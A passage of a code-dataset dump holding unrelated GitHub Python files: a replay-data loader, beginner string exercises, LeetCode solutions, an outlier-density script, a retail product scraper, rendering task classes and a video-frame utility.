tensor_list:\r\n if isinstance(l, list):\r\n print_tensor_list(l)\r\n else:\r\n print('l.shape', l.shape)\r\n\r\n\r\ndef from_pickle_to_tensor(pickle_path, tensor_path, from_index=0, end_index=None):\r\n replay_files = os.listdir(pickle_path)\r\n print('length of replay_files:', len(replay_files))\r\n replay_files.sort()\r\n\r\n replay_length_list = []\r\n traj_list = []\r\n for i, replay_file in enumerate(replay_files):\r\n try:\r\n do_write = False\r\n if i >= from_index:\r\n if end_index is None:\r\n do_write = True\r\n elif end_index is not None and i < end_index:\r\n do_write = True\r\n\r\n if not do_write:\r\n continue \r\n\r\n replay_path = pickle_path + replay_file\r\n print('replay_path:', replay_path)\r\n\r\n feature_list = []\r\n label_list = []\r\n\r\n with open(replay_path, 'rb') as handle:\r\n traj_dict = pickle.load(handle)\r\n\r\n j = 0\r\n for key, value in traj_dict.items():\r\n # if j > 10:\r\n # break\r\n feature, label = SU.obs2feature_numpy(value)\r\n feature_list.append(feature)\r\n label_list.append(label)\r\n del value, feature, label\r\n j += 1 \r\n\r\n del traj_dict\r\n\r\n features = np.concatenate(feature_list, axis=0)\r\n print(\"features.shape:\", features.shape) if debug else None\r\n del feature_list\r\n\r\n labels = np.concatenate(label_list, axis=0)\r\n print(\"labels.shape:\", labels.shape) if debug else None\r\n del label_list\r\n\r\n features = torch.tensor(features)\r\n labels = torch.tensor(labels)\r\n\r\n m = (features, labels)\r\n\r\n if not os.path.exists(tensor_path):\r\n os.mkdir(tensor_path)\r\n file_name = tensor_path + replay_file.replace('.pickle', '') + '.pt'\r\n torch.save(m, file_name)\r\n\r\n except Exception as e:\r\n traceback.print_exc() \r\n\r\n print(\"end\")\r\n print(\"replay_length_list:\", replay_length_list)\r\n\r\n\r\ndef test(on_server=False):\r\n from_pickle_to_tensor(FLAGS.replay_data_path, FLAGS.save_tensor_path, 15, 20)\r\n","repo_name":"liuruoze/mini-AlphaStar","sub_path":"alphastarmini/core/sl/load_pickle.py","file_name":"load_pickle.py","file_ext":"py","file_size_in_byte":3273,"program_lang":"python","lang":"en","doc_type":"code","stars":267,"dataset":"github-code","pt":"61"} +{"seq_id":"74645669315","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jul 24 12:33:54 2021\n\n@author: giraybalci\n\"\"\"\n\nwhile True:\n inp = input(\"Enter something: \")\n \n if inp == 'backwards':\n break\n \n l = len(inp)\n for i in range(l):\n print(inp[l-i-1])\n \nprint(\"Voila!\")\n\n\n#%%\n#Slicing string\n\ntext = \"watermelon\"\n\nl = len(text)\n\nprint(text[:l//2])\nprint(text[l//2:])\n\n\n#%%\nfruit = \"melon\"\nprint(fruit[:])\n\n\n#%%\n# Exercise 3: Encapsulate this code in a function named count, and generalize\n# it so that it accepts the string and the letter as arguments.\n\ndef count(word, char):\n count = 0\n \n for letter in word:\n if letter == char:\n count = count + 1\n \n return count\n\ntext = \"tree in a forest\"\nchar = 't'\n\nprint(count(text, char))\n\nprint(dir(text))\nhelp(str.capitalize)\n\nprint(text.find('e'))\n\n\n#%%\n\ndata = 'From stephen.marquard@uct.ac.za Sat Jan 5 09:14:16 2008'\natpos = data.find('@')\nprint(atpos)\n\nsppos = data.find(' ',atpos)\nprint(sppos)\nhost = data[atpos+1:sppos]\nprint(host)\n\n#%%\n\nprint('In %d years I have spotted %g %s.' % (3, 0.1, 'camels'))\n\n#%%\n# Exercise 5: Take the following Python code that stores a string:\n# str = 'X-DSPAM-Confidence:0.8475'\n# Use find and string slicing to extract the portion of the string after the\n# colon character and then use the float function to convert the extracted string\n# into a floating point number.\n\nstr = 'X-DSPAM-Confidence:0.8475'\n\nsemicPos = str.find(':')\nnumber = str[semicPos+1:]\nprint(float(number))\n\n","repo_name":"balcigiray/python-for-everybody-book-examples","sub_path":"Exercise-6.py","file_name":"Exercise-6.py","file_ext":"py","file_size_in_byte":1526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13496135158","text":"class Dreptunghi:\n lungime = 1\n latime = 1\n culoare = \"verde\"\n\n def __init__(self, lungime, latime, culoare):\n self.lungime = lungime\n self.latime = latime\n self.culoare = culoare\n\n def descriere(self):\n return(f\"Dreptunghi de culoare {self.culoare}, L: {self.lungime}, l: {self.latime}\")\n\n def aria(self):\n arie_drept = self.lungime * self.latime\n return(f\"aria: {arie_drept}\")\n\n def perimetru(self):\n perim_drept = 2 * (self.lungime + self.latime)\n return(f\"perimetru: {perim_drept}\")\n\n def schimba_culoare(self, noua_culoare):\n self.culoare = noua_culoare\n return(noua_culoare)\n\ndreptunghi1 = Dreptunghi(4, 2, \"galben\")\nprint(dreptunghi1.descriere())\nprint(dreptunghi1.aria())\nprint(dreptunghi1.perimetru())\nprint(dreptunghi1.schimba_culoare(\"gri\"))\nprint(dreptunghi1.descriere())","repo_name":"anaanton86/Training_qa","sub_path":"app2/dreptunghi.py","file_name":"dreptunghi.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"ro","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18879610509","text":"# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution(object):\n def middleNode(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: ListNode\n \"\"\"\n\n cnt = 0\n\n mm = head\n\n\n while head != None:\n\n if cnt % 2 == 1:\n mm = mm.next\n\n head = head.next\n cnt += 1\n\n\n return mm\n\n\n\n\n\n\n\n","repo_name":"zhishu520/leetcode","sub_path":"876. Middle of the Linked List.py","file_name":"876. Middle of the Linked List.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17381178291","text":"\"\"\"\nGiven a non-empty array of numbers, a0, a1, a2, … , an-1, where 0 ≤ ai < 231.\n\nFind the maximum result of ai XOR aj, where 0 ≤ i, j < n.\n\nCould you do this in O(n) runtime?\n\nExample:\n\nInput: [3, 10, 5, 25, 2, 8]\n\nOutput: 28\n\nExplanation: The maximum result is 5 ^ 25 = 28.\n\"\"\"\n\n\n\"\"\"Solution:\n 1. traverse every num in nums 32 times for 32 bits\n 2. from MSB to LSB to determine the max value\n\"\"\"\n\n\nclass Solution(object):\n def findMaximumXOR(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n ans, mask = 0, 0\n for i in range(31, -1, -1):\n mask |= 1 << i\n candidates = set()\n for num in nums:\n candidates.add(num & mask)\n target = ans | (1 << i)\n for candidate in candidates:\n # Tip: a^b=c --> b^c=a --> c^a=b\n if candidate ^ target in candidates:\n ans = target\n break\n return ans\n\n\"\"\"Summary:\n the key idea is a^b=c --> b^c=a --> c^a=b. traverse the list 32 times for 32 bits.\n\"\"\"\n\n\n\n\n\n\n\n\n\n\n","repo_name":"bwang8482/LeetCode","sub_path":"Google/421_Maximum_XOR_of_Two_Numbers_in_an_Array.py","file_name":"421_Maximum_XOR_of_Two_Numbers_in_an_Array.py","file_ext":"py","file_size_in_byte":1109,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39289146286","text":"import numpy as np\r\nimport find_reference_points as ref_point_finder\r\nimport sys\r\nimport matplotlib.pyplot as plt\r\nimport scipy as scipy\r\n\r\nclass ref_distance_point_pair:\r\n def __init__(self, ref_distance, ref_point):\r\n self.ref_distance = ref_distance\r\n self.ref_point = ref_point\r\n \r\n\r\n\r\ndef absolute_distance(coordinate_tuple_1, coordinate_tuple_2, distance_type = \"euclidean\"):\r\n if distance_type == \"euclidean\":\r\n return np.linalg.norm(coordinate_tuple_1-coordinate_tuple_2)\r\n elif distance_type == \"cosine\":\r\n return np.dot(coordinate_tuple_1, coordinate_tuple_2)/(np.linalg.norm(coordinate_tuple_1)*np.linalg.norm(coordinate_tuple_2))\r\n elif distance_type == \"mahalanobis\":\r\n diff = coordinate_tuple_1 - coordinate_tuple_2\r\n X = np.vstack([coordinate_tuple_1,coordinate_tuple_2])\r\n V = np.cov(X.T)\r\n VI = np.linalg.inv(V)\r\n return np.sqrt(np.sum(np.dot(diff,VI) * diff, axis = 1))\r\n\r\n\r\ndef ref_point_absolute_distance(ref_points, X):\r\n \r\n ref_points_distances = np.array(X.shape[0]*[0])\r\n \r\n for ref_point in ref_points:\r\n ref_point_distances = np.array([])\r\n for data_point in X:\r\n ref_point_distances = np.hstack((ref_point_distances, absolute_distance(ref_point, data_point)))\r\n \r\n ref_points_distances = np.vstack((ref_points_distances, ref_point_distances))\r\n \r\n ref_points_distances = ref_points_distances[1:]\r\n return ref_points_distances\r\n\r\ndef compute_kNN_sum(X_i_args_index, X_i_args, ref_point_distances_i, k):\r\n \r\n \r\n ref_distance_sum = 0\r\n lower_bound = X_i_args_index - 1\r\n upper_bound = X_i_args_index + 1\r\n \r\n \r\n \r\n curr = ref_point_distances_i[X_i_args[X_i_args_index]]\r\n \r\n while lower_bound >= 0 and upper_bound < ref_point_distances_i.shape[0] and k > 0:\r\n \r\n lower = ref_point_distances_i[X_i_args[lower_bound]]\r\n upper = ref_point_distances_i[X_i_args[upper_bound]]\r\n \r\n if(abs(curr - lower) < abs(curr - upper)):\r\n \r\n# print(abs(curr - lower))\r\n ref_distance_sum += abs(curr - lower)\r\n k -= 1\r\n lower_bound -= 1\r\n else:\r\n \r\n# print(abs(curr - upper))\r\n ref_distance_sum += abs(curr - upper)\r\n k -= 1\r\n upper_bound += 1\r\n \r\n \r\n \r\n while lower_bound >= 0 and k > 0:\r\n \r\n \r\n lower = ref_point_distances_i[X_i_args[lower_bound]]\r\n# print(abs(curr - lower))\r\n ref_distance_sum += abs(curr - lower)\r\n k -= 1\r\n lower_bound -= 1\r\n \r\n while upper_bound < ref_point_distances_i.shape[0] and k > 0:\r\n \r\n \r\n upper = ref_point_distances_i[X_i_args[upper_bound]] \r\n# print(abs(curr - upper))\r\n ref_distance_sum += abs(curr - upper)\r\n k -= 1\r\n upper_bound += 1\r\n \r\n# print(\"ref_distance_sum:\" + str(ref_distance_sum))\r\n return ref_distance_sum\r\n \r\n \r\ndef minimum_density_computation(ref_points, X, ref_points_distances, k):\r\n \r\n \r\n ref_point_1 = ref_points[0];\r\n X_1_args = np.argsort(ref_points_distances[0])\r\n X_1 = X[X_1_args]\r\n \r\n \r\n min_density = np.array(X.shape[0] * [0.0])\r\n \r\n for i in range(X_1_args.shape[0]):\r\n data_point_index = X_1_args[i]\r\n temp = (compute_kNN_sum(i, X_1_args, ref_points_distances[0], k))/k \r\n min_density[data_point_index] = 1/temp\r\n \r\n# =============================================================================\r\n# print()\r\n# print()\r\n# =============================================================================\r\n \r\n for j in range(1, ref_points.shape[0]):\r\n #print(j)\r\n ref_point_j = ref_points[j]\r\n X_j_args = np.argsort(ref_points_distances[j])\r\n X_j = X[X_j_args]\r\n \r\n for i in range(X_j_args.shape[0]):\r\n data_point_index = X_j_args[i]\r\n temp = (compute_kNN_sum(i, X_j_args, ref_points_distances[j], k))/k \r\n temp_min_density = 1/temp\r\n min_density[data_point_index] = min(min_density[data_point_index], temp_min_density)\r\n return min_density\r\n \r\n\r\ndef takeSecond(elem):\r\n return elem[1]\r\n\r\n\r\nif __name__ == \"__main__\":\r\n \r\n \r\n #print(absolute_distance(np.array([5.0, 6.0, 7.0, 8.0]), np.array([1.0, 2.0, 3.0, 4.0]), \"cosine\"))\r\n \r\n k = int(sys.argv[1])\r\n file_name = sys.argv[2]\r\n \r\n ref_points, X = ref_point_finder.reference_points_kMeans(file_name)\r\n \r\n ref_points_distances = ref_point_absolute_distance(ref_points, X)\r\n \r\n min_density = minimum_density_computation(ref_points, X, ref_points_distances, k)\r\n \r\n max_min_density = max(min_density)\r\n ros_of_X = 1 - (min_density/max_min_density)\r\n ros_arg = np.argsort(ros_of_X)\r\n \r\n X_ros_sorted = X[ros_arg]\r\n X_ros_sorted_dec= np.flip(X_ros_sorted,axis=0)\r\n \r\n number_of_top_outliers = 700\r\n \r\n class_label=[]\r\n \r\n for i in range(X_ros_sorted.shape[0]):\r\n class_label.append(1)\r\n \r\n '''\r\n for i in range(number_of_top_outliers):\r\n class_label[int (sorted_ros_of_X[i][0])]=2\r\n '''\r\n \r\n for i in range(number_of_top_outliers):\r\n class_label[X_ros_sorted.shape[0] - 1 - i] = 2 \r\n \r\n plt.figure(figsize=(20,10))\r\n plt.scatter(X_ros_sorted[:,0], X_ros_sorted[:,1], c=class_label)\r\n ","repo_name":"abhishekdhankar95/Reference-Based-Outlier-Detection","sub_path":"density.py","file_name":"density.py","file_ext":"py","file_size_in_byte":5494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41787760925","text":"# -*- coding: utf-8 -*-#\nfrom __future__ import division, absolute_import, unicode_literals\n\nimport re\nimport json\nimport math\n\nfrom scrapy.http import Request\n\nfrom product_ranking.items import Price, BuyerReviews\nfrom product_ranking.items import SiteProductItem, RelatedProduct\nfrom product_ranking.settings import ZERO_REVIEWS_VALUE\nfrom product_ranking.spiders import BaseProductsSpider, FLOATING_POINT_RGEX\nfrom product_ranking.spiders import cond_set, cond_set_value\n\n\nis_empty = lambda x, y=None: x[0] if x else y\n\n\nclass MarksandspencerProductsSpider(BaseProductsSpider):\n name = 'marksandspencer_products'\n allowed_domains = [\"marksandspencer.com\", \"recs.richrelevance.com\"]\n\n SEARCH_URL = (\"http://www.marksandspencer.com/MSSearchResultsDisplayCmd\"\n \"?&searchTerm={searchterm}&langId={langId}&storeId={storeId}\"\n \"&catalogId={catalogId}&categoryId={categoryId}\"\n \"&typeAhead={typeAhead}&sortBy={sortBy}\")\n\n REVIEW_URL = (\"http://reviews.marksandspencer.com/2050-en_gb/\"\n \"{id}/reviews.djs?format=embeddedhtml\")\n\n SYM_USD = '$'\n SYM_GBP = '£'\n SYM_CRC = '₡'\n SYM_EUR = '€'\n SYM_JPY = '¥'\n\n CURRENCY_SIGNS = {\n SYM_USD: 'USD',\n SYM_GBP: 'GBP',\n SYM_CRC: 'CRC',\n SYM_EUR: 'EUR',\n SYM_JPY: 'JPY'\n }\n\n SORT_MODES = {\n \"relevance\": \"relevance|1\",\n \"best_selling\": \"product.best_selling|1\",\n \"new_arrivals\": \"product.is_new|1\",\n \"pricelh\": \"product.price_from|0\",\n \"pricehl\": \"product.price_to|1\",\n \"rating\": \"product.rating|1\"\n }\n\n def __init__(self, sort_mode=None, *args, **kwargs):\n self.sort_mode = sort_mode or \"relevance\"\n super(MarksandspencerProductsSpider, self).__init__(\n site_name=self.allowed_domains[0],\n *args,\n **kwargs)\n self.current_page = 1\n\n def start_requests(self):\n yield Request(\n url=\"http://www.marksandspencer.com\",\n callback=self.after_start,\n )\n\n def after_start(self, response):\n storeId = is_empty(response.xpath(\n \"//form/.//input[@name='storeId']/@value\").extract(), \"\")\n catalogId = is_empty(response.xpath(\n \"//form/.//input[@name='catalogId']/@value\").extract(), \"\")\n categoryId = is_empty(response.xpath(\n \"//form/.//input[@name='categoryId']/@value\").extract(), \"\")\n langId = is_empty(response.xpath(\n \"//form/.//input[@name='langId']/@value\").extract(), \"\")\n typeAhead = is_empty(response.xpath(\n \"//form/.//input[@name='typeAhead']/@value\").extract(), \"\")\n for st in self.searchterms:\n url = self.SEARCH_URL.format(\n searchterm=self.searchterms[0], storeId=storeId,\n catalogId=catalogId, categoryId=categoryId,\n langId=langId, typeAhead=typeAhead,\n sortBy=self.SORT_MODES.get(self.sort_mode)\n )\n yield Request(\n url=url,\n meta={'search_term': st, 'remaining': self.quantity}\n )\n\n if self.product_url:\n prod = SiteProductItem()\n prod['is_single_result'] = True\n prod['url'] = self.product_url\n yield Request(self.product_url,\n self._parse_single_product,\n meta={'product': prod})\n\n def parse_product(self, response):\n product = response.meta['product']\n\n price = response.xpath('//meta[@itemprop=\"price\"]/@content').extract()\n priceCurrency = response.xpath('//meta[@itemprop=\"priceCurrency\"]/@content').extract()\n if price and priceCurrency:\n product[\"price\"] = Price(\n priceCurrency=priceCurrency[0],\n price=price[0],\n )\n\n image_url = is_empty(response.xpath(\n \"//ul[contains(@class, 'custom-wrap')]/li/img/@srcset |\"\n \"//img[@id='mainProdDefaultImg']/@src\"\n ).extract())\n if image_url:\n image_url = image_url.split(',')[0].split(' ')[0]\n if not \"http\" in image_url:\n image_url = \"http:\" + image_url\n product[\"image_url\"] = image_url\n\n cond_set(\n product,\n \"brand\",\n response.xpath(\n \"//ul[contains(@class, 'sub-brand-des')]/li/text()\").extract(),\n lambda x: x.strip(),\n )\n\n cond_set_value(product, \"title\", is_empty(response.xpath(\n \"//h1[@itemprop='name']/text()\").extract()))\n\n cond_set(\n product,\n \"model\",\n response.xpath(\"//p[contains(@class, 'code')]/text()\").extract(),\n lambda x: x.strip(),\n )\n\n product[\"locale\"] = \"en_GB\"\n\n regex = \"\\/p\\/([a-z0-9$]+)\"\n reseller_id = re.findall(regex, response.url)\n reseller_id = reseller_id[0] if reseller_id else None\n cond_set_value(product, \"reseller_id\", reseller_id)\n\n variants_stock = is_empty(re.findall(\n \"itemStockDetailsMap_\\d+\\s+\\=\\s+([^\\;]*)\", response.body), \"{}\")\n variants_price = is_empty(re.findall(\n \"priceLookMap_\\d+\\s+\\=\\s+(.*)};\", response.body), \"{}\")\n\n try:\n vs = json.loads(variants_stock)\n except (ValueError, TypeError):\n vs = {}\n try:\n vp = json.loads(variants_price+\"}\")\n except (ValueError, TypeError):\n vp = {}\n\n variants = []\n for k, v in vs.items():\n for k_in, v_in in vs[k].items():\n obj = {\"id\": k+\"_\"+k_in}\n color = is_empty(re.findall(\"\\d+_([^_]*)\", k))\n if color:\n obj[\"color\"] = color\n size = k_in.replace(\"DUMMY\", \"\")\n if size:\n obj[\"size\"] = size\n if vs[k][k_in].get(\"count\") == 0:\n obj[\"in_stock\"] = False\n else:\n obj[\"in_stock\"] = True\n variants.append(obj)\n\n for variant in variants:\n price = vp.get(variant[\"id\"], {}).get(\"price\", \"\")\n price = is_empty(re.findall(FLOATING_POINT_RGEX, price))\n if price:\n variant[\"price\"] = price\n del variant[\"id\"]\n\n if variants:\n product[\"variants\"] = variants\n\n reqs = []\n\n prodId = is_empty(re.findall(\"productId\\s+\\=\\'(\\w+)\", response.body))\n\n if prodId:\n reqs.append(\n Request(\n url=self.REVIEW_URL.format(id=prodId),\n callback=self.parse_buyer_reviews,\n )\n )\n\n if reqs:\n return self.send_next_request(reqs, response)\n\n return product\n\n def parse_buyer_reviews(self, response):\n product = response.meta.get(\"product\")\n reqs = response.meta.get(\"reqs\")\n\n total = int(is_empty(response.xpath(\n \"//span[contains(@class, 'BVRRRatingSummaryHeaderCounterValue')]\"\n \"/text()\"\n ).re(FLOATING_POINT_RGEX), 0))\n\n average = float(is_empty(re.findall(\n \"avgRating\\\"\\:(\\d+\\.\\d+)\", response.body), 0))\n\n rbs = response.xpath(\n \"//span[contains(@class, 'BVRRHistAbsLabel')]/text()\"\n ).extract()[:5]\n rbs.reverse()\n rating_by_star = {}\n if rbs:\n for i in range(5, 0, -1):\n rating_by_star[i] = int(rbs[i-1].replace(\n \"\\n\", \"\").replace(\"\\t\", \"\").replace(\"\\\\n\", \"\"))\n if total and average:\n product[\"buyer_reviews\"] = BuyerReviews(\n num_of_reviews=total,\n average_rating=round(float(average), 1),\n rating_by_star=rating_by_star\n )\n else:\n product[\"buyer_reviews\"] = ZERO_REVIEWS_VALUE\n\n if reqs:\n return self.send_next_request(reqs, response)\n\n return product\n\n def send_next_request(self, reqs, response):\n req = reqs.pop(0)\n new_meta = response.meta.copy()\n if reqs:\n new_meta[\"reqs\"] = reqs\n return req.replace(meta=new_meta)\n\n def _scrape_total_matches(self, response):\n total_matches = is_empty(response.xpath('//div[@class=\"total-number-of-items\"]'\n '/text()').re(FLOATING_POINT_RGEX), 0)\n return int(total_matches.replace(',', ''))\n\n def _scrape_product_links(self, response):\n links = response.xpath(\n \"//h3/a[contains(@class, 'prodAnchor')]/@href\").extract()\n if not links:\n links = response.xpath(\n '//li/div[contains(@class, \"detail\")]/a/@href').extract()\n for link in links:\n yield link+'&pdpredirect', SiteProductItem()\n\n def _scrape_next_results_page_link(self, response):\n next_page = \"&pageChoice={current_page}\"\n url = response.url\n total_matches = self._scrape_total_matches(response)\n results_per_page = self._scrape_results_per_page(response)\n if not results_per_page:\n results_per_page = 96\n if (total_matches and results_per_page\n and self.current_page < math.ceil(total_matches / float(results_per_page))):\n self.current_page += 1\n if not \"pageChoice=\" in url:\n return url + next_page.format(current_page=self.current_page)\n return re.sub(\"pageChoice=(\\d+)\", next_page.format(current_page=self.current_page), url)\n\n def _parse_single_product(self, response):\n return self.parse_product(response)\n","repo_name":"aprosdev/ecom-predictor","sub_path":"product-ranking/product_ranking/spiders/marksandspencer.py","file_name":"marksandspencer.py","file_ext":"py","file_size_in_byte":9658,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"4517918462","text":"def both_odd(a, b):\n \"\"\"Returns True if both a and b are odd numbers.\n\n >>> both_odd(-1, 1)\n True\n >>> both_odd(2, 1)\n False\n \"\"\"\n return a % 2 == 1 and b % 2 == 1 # You can replace this line!\n\n\ndef factorial(n):\n \"\"\"Return the factorial of a positive integer n.\n\n >>> factorial(3)\n 6\n >>> factorial(5)\n 120\n \"\"\"\n if n == 1:\n return 1\n else:\n return n * factorial(n-1)\n\n\ndef is_triangle(a, b, c):\n \"\"\"Given three integers (may be nonpositive), judge whether the three\n integers can form the three sides of a triangle.\n\n >>> is_triangle(2, 1, 3)\n False\n >>> is_triangle(5, -3, 4)\n False\n >>> is_triangle(2, 2, 2)\n True\n \"\"\"\n if a + b > c >0 and a + c > b > 0 and b + c > a > 0 :\n return True\n else:\n return False\n\n\ndef number_of_six(n):\n \"\"\"Return the number of 6 in each digit of a positive integer n.\n\n >>> number_of_six(666)\n 3\n >>> number_of_six(123456)\n 1\n \"\"\"\n count = 0\n while n != 0:\n if n - n // 10 * 10 == 6:\n count+=1\n n = n // 10\n return count\n\ndef max_digit(x):\n \"\"\"Return the max digit of x.\n\n >>> max_digit(10)\n 1\n >>> max_digit(4224)\n 4\n >>> max_digit(1234567890)\n 9\n >>> # make sure that you are using return rather than print\n >>> a = max_digit(123)\n >>> a\n 3\n \"\"\"\n maxing = 0\n while x != 0:\n p = x - x // 10 * 10\n x = x // 10\n if p > maxing:\n maxing = p\n return maxing\n\n","repo_name":"jjl1075337132/chunchun_cai_niao","sub_path":"lab01/lab01.py","file_name":"lab01.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33840801395","text":"from golem.task.taskstate import TaskState\r\nfrom gnr.gnrtaskstate import GNRTaskDefinition, AdvanceVerificationOptions\r\n\r\n\r\nclass RendererInfo:\r\n def __init__(self, name, defaults, task_builder_type, dialog, dialog_customizer, renderer_options):\r\n self.name = name\r\n self.output_formats = []\r\n self.scene_file_ext = []\r\n self.defaults = defaults\r\n self.task_builder_type = task_builder_type\r\n self.dialog = dialog\r\n self.dialog_customizer = dialog_customizer\r\n self.renderer_options = renderer_options\r\n\r\n\r\nclass RendererDefaults:\r\n def __init__(self):\r\n self.output_format = \"\"\r\n self.main_program_file = \"\"\r\n self.full_task_timeout = 4 * 3600\r\n self.subtask_timeout = 20 * 60\r\n self.resolution = [800, 600]\r\n self.min_subtasks = 1\r\n self.max_subtasks = 50\r\n self.default_subtasks = 20\r\n self.task_name = \"\"\r\n\r\n\r\nclass RenderingTaskDefinition(GNRTaskDefinition):\r\n def __init__(self):\r\n GNRTaskDefinition.__init__(self)\r\n\r\n self.resolution = [0, 0]\r\n self.renderer = None\r\n self.renderer_options = None\r\n\r\n self.main_scene_file = \"\"\r\n self.output_file = \"\"\r\n self.output_format = \"\"\r\n self.task_name = \"\"\r\n\r\n\r\nclass RenderingTaskState:\r\n def __init__(self):\r\n self.definition = RenderingTaskDefinition()\r\n self.task_state = TaskState()\r\n\r\n\r\nclass AdvanceRenderingVerificationOptions(AdvanceVerificationOptions):\r\n def __init__(self):\r\n AdvanceVerificationOptions.__init__(self)\r\n self.box_size = (5, 5)\r\n self.probability = 0.01\r\n","repo_name":"jzaw/golem","sub_path":"gnr/renderingtaskstate.py","file_name":"renderingtaskstate.py","file_ext":"py","file_size_in_byte":1656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"35863267141","text":"class Solution:\n def maximumDifference(self, nums: List[int]) -> int:\n d = 0\n\n for i in range(len(nums)):\n for j in range(i + 1, len(nums)):\n d = max(d, nums[j] - nums[i])\n\n if d == 0:\n return -1\n\n return d\n","repo_name":"pbelskiy/contest","sub_path":"leetcode.com/2016_maximum_difference_between_increasing_elements/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"32841673657","text":"# -*- coding: utf-8 -*-\n# File : media.py\n# Author: huwei\n# Date : 2021/6/1\n\nimport cv2\nfrom moviepy.editor import *\n\nclass Media:\n\n def __init__(self, media_path):\n self.cap = cv2.VideoCapture(media_path)\n if not os.path.exists(media_path):\n raise RuntimeError(\"Video meida path:{} not exists\".format(media_path))\n\n self.video_path = media_path\n self.fps = self.cap.get(cv2.CAP_PROP_FPS)\n self.frame_length = int(self.cap.get(cv2.CAP_PROP_FRAME_COUNT))\n\n if self.frame_length == 0:\n raise RuntimeError(\"Video meida path:{} is empty\".format(media_path))\n\n self.duration = self.frame_length / self.fps # duration of seconds\n self.height = self.cap.get(cv2.CAP_PROP_FRAME_HEIGHT)\n self.width = self.cap.get(cv2.CAP_PROP_FRAME_WIDTH)\n\n def __repr__(self):\n return \"Video media path:{},fps:{},frame count:{},resolution:{}x{}\".format(self.video_path, self.fps,\n self.frame_length, self.width,\n self.height)\n def __del__(self):\n self.cap.release()\n print(\"Video cap release\")\n\n def frame(self, idx):\n if idx < 0 or idx > self.frame_length:\n raise IndexError(\"idx out of range\")\n\n self.cap.set(cv2.CAP_PROP_POS_FRAMES, idx)\n ret, frame = self.cap.read()\n if not ret:\n raise BrokenPipeError\n return frame\n\n def all_frames(self):\n self.cap.set(cv2.CAP_PROP_POS_FRAMES, 0)\n while True:\n idx = self.cap.get(cv2.CAP_PROP_POS_FRAMES)\n ret, frame = self.cap.read()\n if not ret:\n break\n else:\n yield frame, int(idx)\n\n def part_frames(self, index_range, step=1):\n start_index = index_range[0]\n end_index = index_range[1]\n\n if start_index > end_index or start_index < 0 or end_index > self.frame_length:\n raise ValueError(\"index range out of video frames\")\n\n self.cap.set(cv2.CAP_PROP_POS_FRAMES, start_index)\n nums = 0\n while True:\n idx = self.cap.get(cv2.CAP_PROP_POS_FRAMES)\n ret, frame = self.cap.read()\n nums += 1\n if (nums - 1) % step != 0:\n continue\n\n if not ret or idx > end_index:\n break\n else:\n yield frame, int(idx)\n\n def write_part(self, save_path, index_range=None):\n if index_range is None:\n index_range = (0, self.frame_length)\n\n save_dir = os.path.dirname(save_path)\n if not os.path.exists(save_dir):\n os.makedirs(save_dir)\n\n writer = cv2.VideoWriter(save_path, cv2.VideoWriter_fourcc(*'MJPG'), self.fps,\n (int(self.width), int(self.height)))\n\n self.cap.set(cv2.CAP_PROP_POS_FRAMES, index_range[0])\n for idx in range(index_range[0], index_range[1] + 1, 1):\n save_path = os.path.join(save_dir, \"{}.jpg\".format(idx))\n vidx = int(self.cap.get(cv2.CAP_PROP_POS_FRAMES))\n if vidx != idx:\n raise IndexError(f\"None equal video index {idx}!={vidx}\")\n ret, frame = self.cap.read()\n writer.write(frame)\n\n def write_part_with_audio(self, save_path, index_range=None):\n if index_range is None:\n index_range = (0, self.frame_length)\n\n save_dir = os.path.dirname(save_path)\n if not os.path.exists(save_dir):\n os.makedirs(save_dir)\n\n cliper = VideoFileClip(self.video_path)\n start_time = index_range[0] / self.fps\n end_time = index_range[1] / self.fps\n\n part = cliper.subclip(start_time, end_time)\n part.write_videofile(save_path)","repo_name":"MiracleHW/my_py_tools","sub_path":"my_tools/media.py","file_name":"media.py","file_ext":"py","file_size_in_byte":3864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9800887470","text":"\ndef OneHeadLoss(model, batch, visualize=False):\n n,c,h,w = batch[\"images\"].shape\n\n model.train()\n O_dict = model(batch[\"images\"].cuda())\n embedding_mask = O_dict[\"embedding_mask\"]\n\n loss = helpers.compute_metric_loss(embedding_mask, batch)\n\n return loss\n\n\ndef compute_metric_loss(O, batch, random_proposal=False):\n n,c,h,w = O.shape\n\n points = batch[\"points\"]\n batch[\"maskObjects\"] = None \n batch['maskClasses'] = None\n batch[\"maskVoid\"] = None\n\n pointList = au.mask2pointList(points)[\"pointList\"]\n\n loss = torch.tensor(0.).cuda()\n if len(pointList) == 0:\n return loss\n\n if \"single_point\" in batch:\n single_point = True\n else:\n single_point = False\n\n\n propDict = au.pointList2propDict(pointList, batch, \n single_point=single_point,\n thresh=0.5)\n background = propDict[\"background\"]\n\n propDict = propDict[\"propDict\"]\n\n yList = []\n xList = []\n for p in pointList:\n yList += [p[\"y\"]]\n xList += [p[\"x\"]]\n\n fg_seeds = O[:, :, yList, xList]\n n_seeds = fg_seeds.shape[-1]\n prop_mask = np.zeros((h, w))\n\n for i in range(n_seeds):\n annList = propDict[i][\"annList\"]\n\n if len(annList) == 0:\n mask = np.zeros(points.squeeze().shape)\n mask[propDict[i][\"point\"][\"y\"], propDict[i][\"point\"][\"x\"]] = 1\n 